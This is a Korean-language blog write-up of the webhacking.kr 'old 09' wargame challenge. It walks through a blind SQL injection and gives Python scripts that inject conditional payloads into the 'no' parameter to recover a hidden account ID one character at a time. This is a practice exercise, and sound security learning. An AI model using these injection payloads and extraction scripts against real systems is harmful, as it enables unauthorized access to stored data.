webhacking.kr old 09번 문제풀이(Writeup)
문제를 들어가면 위와 같이 출력된다. 궁금하니까 1, 2, 3을 눌러보고 Password도 제출해봤다.
1, 2 까지는 ID가 각각 apple과 banana가 나온다. 이후 3을 클릭하니 ID가 Secret으로 나오고, Column 이름에 대해서 알려준다. 딱 봐도 SQL Injection 문제이다.
password를 입력하니 get메소드로 pw가 전달되는 것으로 보인다.
Password를 알아내려면 no=3에 ID를 알아내야 한다. 문제를 풀기 위해 이번엔 잘못된 입력값을 넣어봤다. apple은 no=1이지만 2를 넣어서 확인해보니 "Access Denied"가 출력된다.
이를 통해 Access Denied가 출력되면 잘못된 것임을 알았으니 ID를 알아낼 수 있을 것으로 보인다.
바로 스크립트를 작성해보자.
import requests
URL = "https://webhacking.kr/challenge/web-09/index.php?"
cookie = {"PHPSESSID":"idmjnub8a5c478javp7gs352ra"}
#Get_Password_length
pw_len =""
for i in range(1,100):
param = "no=if(LENGTH(id)like("+str(i)+"),3,0)"
r = requests.get(URL+param, cookies=cookie)
print(i)
if r.text.find("Secret") != -1:
pw_len = i
print("pw_length = ", pw_len)
break
먼저 ID의 길이를 구하는 코드이다. 1~100까지 반복하면서 param 변수에 id의 길이가 str(i)와 같다면 no=3이 되고, 아니면 0이 되게 하는 코드를 넣고, get메소드로 보낸다. 이후 text에서 "Secret"을 찾아서 나왔을 때 i 값이 id의 길이가 된다.
#Get_Password_length
# Find_Password_String
pw_len = 11
pw=""
for i in range(1, pw_len + 1):
for j in range(65,133):
param="no=if(substr(id,"+str(i)+",1)like("+hex(j)+"),3,0)"
r = requests.get(URL+param, cookies=cookie)
if r.text.find("Secret") != -1:
pw += chr(j)
print(pw)
break
print("password= " + pw)
비슷한 방법으로 substr함수로 id 문자열의 문자를 하나씩 끊어서 아스키 값으로 비교해서 같으면 no=3이 되고 get메소드를 통해 요청해서 나온 문자열 중 "Secret"이 나오면 pw에 추가하는 방식으로 비밀번호를 찾았다.
password를 찾았다. password가 곧 id이므로 이를 문제 사이트에서 입력했다. 하지만 틀렸다고 나와서 뭐가 문제인지 찾아봤는데, mysql에서 대소문자 구분을 하지 않는다고 한다.
그래서 소문자로 입력을 하니 성공했다.
'웹해킹 > webhacking.kr' 카테고리의 다른 글
webhacking.kr old 33번 문제풀이(Writeup) (0) | 2022.10.17 |
---|---|
webhacking.kr old 42번 문제풀이(Writeup) (0) | 2022.10.16 |
webhacking.kr old 11번 문제풀이(Writeup) (0) | 2022.10.14 |
webhacking.kr old 12번 문제풀이(Writeup) (0) | 2022.10.13 |
webhacking.kr old 10번 문제풀이(Writeup) (0) | 2022.10.12 |